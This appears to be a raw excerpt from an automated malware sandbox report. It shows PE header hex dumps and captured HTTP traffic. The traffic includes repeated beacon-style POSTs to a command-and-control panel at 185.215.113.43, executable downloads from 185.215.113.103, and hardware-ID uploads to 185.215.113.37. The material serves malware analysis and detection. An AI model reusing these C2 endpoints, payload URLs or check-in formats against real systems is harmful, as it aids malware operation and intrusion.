00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 11:27:25 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 07 Oct 2024 10:55:59 GMTETag: "1cbe00-623e0ddae02ba"Accept-Ranges: bytesContent-Length: 1883648Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 ad 65 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 00 06 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 64 6e 65 65 68 6c 64 00 30 1a 00 00 30 31 00 00 26 1a 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 78 67 70 7a 71 6b 6d 00 10 00 00 00 60 4b 00 00 04 00 00 00 98 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4b 00 00 22 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1728300660577Host: self.events.data.microsoft.comContent-Length: 7971Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 41 36 33 45 41 31 42 45 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="hwid"D1A63EA1BE9A291931458------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build"doma------FCBAECGIEBKKFHIDAKEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000336001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHCGHDHIDHCBGCBGCAHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 41 36 33 45 41 31 42 45 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------DHDHCGHDHIDHCBGCBGCAContent-Disposition: form-data; name="hwid"D1A63EA1BE9A291931458------DHDHCGHDHIDHCBGCBGCAContent-Disposition: form-data; name="build"doma------DHDHCGHDHIDHCBGCBGCA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 41 36 33 45 41 31 42 45 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="hwid"D1A63EA1BE9A291931458------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="build"doma------KEGCFCAKFHCGCBFHCGHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
